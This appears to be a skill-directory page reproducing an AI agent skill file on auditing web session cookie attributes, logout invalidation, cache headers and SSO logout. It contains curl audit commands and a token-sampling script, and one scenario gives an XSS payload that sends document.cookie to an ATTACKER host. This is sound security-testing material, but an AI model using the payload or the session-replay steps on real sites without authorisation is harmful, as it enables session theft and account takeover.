Cookie attacks
bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill cookie-attacksAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Audit and attack session cookies via missing Secure/HttpOnly/SameSite attributes, overly broad Domain/Path scope, non-expiring persistent cookies, absent __Host- and __Secure- prefixes, browser cache leakage (Cache-Control: no-store missing), session token predictability via Burp Sequencer analysis, server-side session not invalidated on logout, and SSO single-logout bypass. Tools: Burp Suite Repeater/Sequencer, OWASP ZAP, EditThisCookie, Tamper Data, Cookiebro.
The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
9.8 KB, ~2.1k tokens by cl100k_base, as published. Nobody here has run it
Cookie Security and Logout Testing
What Is Broken and Why
Session cookies are the primary authentication artifact in web applications. Missing security
attributes expose them to theft via network interception (Secure absent), JavaScript injection
attacks (HttpOnly absent), cross-site request forgery (SameSite absent), and cross-subdomain
theft (Domain too broad). Cookies that persist beyond the session or survive logout allow
session restoration attacks. In SSO environments, application-level logout without central-portal
logout leaves the authenticated state intact across all federated applications. Predictable tokens
reduce the brute-force cost of session forgery to practical levels.
Key Signals
Set-Cookieresponse missingSecureflag on any session cookieSet-Cookieresponse missingHttpOnlyflag on session cookiesSet-CookiewithSameSite=Nonebut application is not a cross-site embedded resourceSameSiteattribute absent (defaults toLaxin modern browsers, butNonein older ones)Domain=.TARGET(leading dot) set too broadly — accessible to all subdomainsPath=/for cookies that should scope to/bankor/admin- Session cookie has
Expiresfar in the future or is persistent (survives browser close) - Cookie names lack
__Host-or__Secure-prefixes - Authenticated page responses missing
Cache-Control: no-store - After logout, old session cookie still returns 200 on authenticated endpoints (no server-side invalidation)
- Back button after logout displays cached authenticated page content
- In SSO: application logout does not invalidate central SSO session token
Methodology
- Attribute audit: Intercept all
Set-Cookieheaders across the application; check every session and auth cookie forSecure,HttpOnly,SameSite,Domain,Path,Expires. - Cookie prefix check: Verify whether session cookies use
__Host-(strongest binding) or__Secure-prefixes. - Scope verification: Test if cookies with broad
Domainattributes are accessible from sibling subdomains (security boundary check). - Persistence test: Close browser entirely; reopen and navigate to authenticated pages; check if session persists (persistent cookie vulnerability).
- Logout server-side invalidation: After logout, copy the session cookie; replay it against authenticated endpoints in Burp Repeater; observe if 200 or redirect to login.
- Back-button cache: Log out; press browser Back button; observe if authenticated page content is visible from cache.
- Session timeout: Make an authenticated request; wait incrementally; determine inactivity timeout threshold.
- SSO logout: Log out of application; attempt access via SSO portal without re-entering credentials; then log out of SSO portal; attempt application access.
- Token entropy: Feed session tokens to Burp Sequencer; collect 200+ samples; analyze for effective entropy bits.
Payloads & Tools
# Full cookie attribute audit on login response
curl -sI -X POST "https://TARGET/login" \
-d "user=VICTIM&pass=PASSWORD" | grep -i "set-cookie"
# Expected: Secure; HttpOnly; SameSite=Strict; Path=/; no Domain or __Host- prefix
# Check all Set-Cookie headers site-wide (spider + header audit)
# In Burp: Scanner > Site Audit > Cookies without Secure/HttpOnly flags
# Logout invalidation test
# 1. Log in, capture session token
SESSION=$(curl -si -X POST "https://TARGET/login" \
-d "user=VICTIM&pass=PASSWORD" | grep -i "set-cookie" | grep -oP 'SessionID=[^;]+')
echo "Session: $SESSION"
# 2. Log out
curl -s "https://TARGET/logout" -b "$SESSION" -o /dev/null
# 3. Replay old session token
curl -sI "https://TARGET/account/dashboard" -b "$SESSION" | head -1
# Should be 302 to login; if 200 = server-side session not invalidated
# Cache header verification on authenticated page
curl -sI "https://TARGET/account/profile" \
-b "SessionID=VALID_TOKEN" | grep -iE "cache-control|pragma|expires"
# Required: Cache-Control: no-cache, no-store
# Back-button cache test (manual — browser test)
# 1. Log in to TARGET
# 2. Navigate to /account/dashboard
# 3. Log out
# 4. Press Back — if page renders from cache without server request = vulnerability
# Domain scope test — check if cookie accessible from sibling subdomain
# (Conceptual — requires DNS control of sibling subdomain)
# A cookie set as Domain=.TARGET is readable by sub.TARGET, static.TARGET, etc.
# Persistent cookie test — check Expires/Max-Age
curl -sI "https://TARGET/login" | grep -i "set-cookie" | grep -iE "expires|max-age"
# Session cookies should have no Expires/Max-Age (session-only, cleared on browser close)
# Recommended secure Set-Cookie header
# Set-Cookie: __Host-SID=<token>; path=/; Secure; HttpOnly; SameSite=Strict
# Token entropy sampling helper
import requests, time
tokens = []
for i in range(50):
r = requests.post("https://TARGET/login",
data={"user": f"testuser{i}", "pass": "PASSWORD"},
allow_redirects=False)
for cookie in r.cookies:
if "session" in cookie.name.lower() or "sid" in cookie.name.lower():
tokens.append(cookie.value)
time.sleep(0.05) # 50ms window
print(f"Collected {len(tokens)} tokens")
print("Sample:", tokens[:5])
# Load remaining analysis into Burp Sequencer for entropy measurement
Bypass Techniques
Cache-Control: privatedoes NOT prevent browser caching; authenticated page content may remain in browser cache even ifprivateis set withoutno-store.HttpOnlyonly blocks JavaScript access;Secureis still needed to prevent network sniffing.SameSite=Laxstill allows cookies on top-level navigations (clicking links); onlyStrictblocks these.__Secure-prefix requiresSecureattribute but does not enforcePath=/or removeDomain;__Host-is more restrictive and preferred.- ASP.NET Forms Authentication cookies that are client-validated only (without server-side session store) survive server-side "logout" and can be replayed.
- SSO implementations where the SP (service provider) logout only clears the local session but does not send a logout request to the IdP leave the central session active.
Exploitation Scenarios
Scenario 1 — Session Theft via Missing HttpOnly (XSS Chain)
Setup: Session cookie lacks HttpOnly; application has a reflected XSS vulnerability.
Trigger: Attacker delivers XSS payload document.location='https://ATTACKER/?c='+document.cookie.
Impact: Session cookie exfiltrated; attacker takes over victim session without password.
Scenario 2 — Session Restoration After Logout Setup: Application clears client-side cookie on logout but does not invalidate token server-side. Trigger: Attacker with previously captured session token replays it post-logout via Burp Repeater. Impact: Full authenticated access despite victim having logged out; persistent account access.
Scenario 3 — SSO Incomplete Logout Setup: Application logout only destroys local session; central SSO session remains active. Trigger: After logging out of the application, attacker with physical/remote access visits SSO portal; portal auto-authenticates without credentials; application session re-established. Impact: SSO logout ineffective; authentication state persists across applications in the federation.
False Positives
- A session cookie without
SameSiteattribute in a modern browser defaults toLax, which provides partial CSRF protection; absence of the explicit attribute is still a finding but impact depends on browser version. - A
200response replaying an old session token may be a public/cached page that does not actually reflect authenticated state; confirm by checking for user-specific data in the response. Cache-Control: no-cachemeans revalidate with server before using cache; it does NOT prevent storing — onlyno-storeprevents local storage.
Fix Patterns
- Use
__Host-SID=<token>; path=/; Secure; HttpOnly; SameSite=Strictas the session cookie template. - Invalidate session tokens server-side on logout; maintain a server-side session store or token revocation list.
- Set
Cache-Control: no-cache, no-storeandPragma: no-cacheon all authenticated responses. - Issue non-persistent (RAM-only, no
Expires) session cookies. - In SSO environments, implement SP-initiated single logout (SLO) that sends logout to the IdP.
- Generate session IDs with a CSPRNG; minimum 256-bit entropy; minimum 50-character token length.
- Implement idle and absolute session timeouts appropriate to application sensitivity.
Related Skills
[[session-fixation]] and cookie-attacks attack the same session token lifecycle from different angles — fixation plants a known token before login, while cookie attacks exploit weak attributes or post-logout persistence. A missing HttpOnly flag directly enables [[xss-stored]] or [[xss-reflected]] to steal cookies via document.cookie. A missing SameSite attribute expands the [[csrf]] attack surface. Broad Domain scope allows a [[cors-misconfig]] on a subdomain to read or set the parent domain's session cookie.